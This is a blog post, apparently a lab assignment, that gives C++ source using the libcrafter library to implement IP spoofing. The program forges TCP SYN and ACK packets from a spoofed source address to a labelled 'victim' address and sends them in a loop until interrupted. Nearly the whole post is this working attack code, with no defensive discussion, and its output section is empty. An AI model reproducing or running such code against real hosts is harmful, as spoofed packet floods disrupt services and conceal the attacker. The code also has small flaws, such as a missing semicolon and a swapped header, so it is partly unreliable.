Thursday, October 30, 2014

Implementation of IP spoofing using C++ multicore Programming

Problem Statement:
Implementation of IP spoofing using C++ multicore Programming

PROGRAM
#include <iostream>
#include <crafter.h>
#include <stdio.h>
#include <unistd.h>

using namespace std;
using namespace Crafter;

volatile byte spoof = 1

void ctrl_c(int dummy) {
        spoof = 0;
}

int main() {
      
        string iface = "p1p1"; //interface for the lab systems

       
        string MyIP = GetMyIP(iface);
       
         IP ip_header1;
         ip_header1.SetSourceIP("192.168.5.25"); //spoofing ip address
      ip_header1.SetDestinationIP("192.168.5.23");// victims ip address
        
        
        IP ip_header2;
        ip_header2.SetSourceIP("192.168.9.36");//source of attacker 
        ip_header2.SetDestinationIP("192.168.5.25");//spoof ip 

        TCP tcp_header1;
        tcp_header1.SetSrcPort(20);
        tcp_header1.SetDstPort(85); //Destination port which will accept the packets
        tcp_header1.SetSeqNumber(RNG32());
        tcp_header1.SetFlags(TCP::SYN);//SYNC PACKET

        TCP tcp_header2;
        tcp_header2.SetSrcPort(20);
        tcp_header2.SetDstPort(85);//Destination port which will accept the packets
        tcp_header2.SetSeqNumber(RNG32());
        tcp_header2.SetFlags(TCP::ACK);//ACK PACKET
        
        Packet tcp_packet1 = ip_header1 / tcp_header1;
        Packet tcp_packet2 = ip_header2 / tcp_header1;
       Packet tcp_packet3 = ip_header1 / tcp_header2;
cout << endl << "BEFORE SENDING.. " << endl;
        tcp_packet1.Print();
        tcp_packet1.Send();
        
        cout << endl << "SENDING.. " << endl;
        
        tcp_packet1.Print();
        cout<<"----------------------------------------------------------------------------------------------------------------------------"<<endl;
signal(SIGINT,ctrl_c);

while(spoof)
{
cout<<"SENDING THE PACKETS....."<<endl;
tcp_packet2.Send();
sleep(1);
}
           
        tcp_packet3.Send();
        CleanCrafter();

        return 0;
}



OUTPUT





No comments:

Post a Comment

Perform a suitable assignment using Xen Hypervisor or equivalent open source to configure it. Give necessary GUI.

 To install kvm on Fedora:  yum install kvm  yum install virt-manager libvirt libvirt-python python-virtinst  su -c "yum install @v...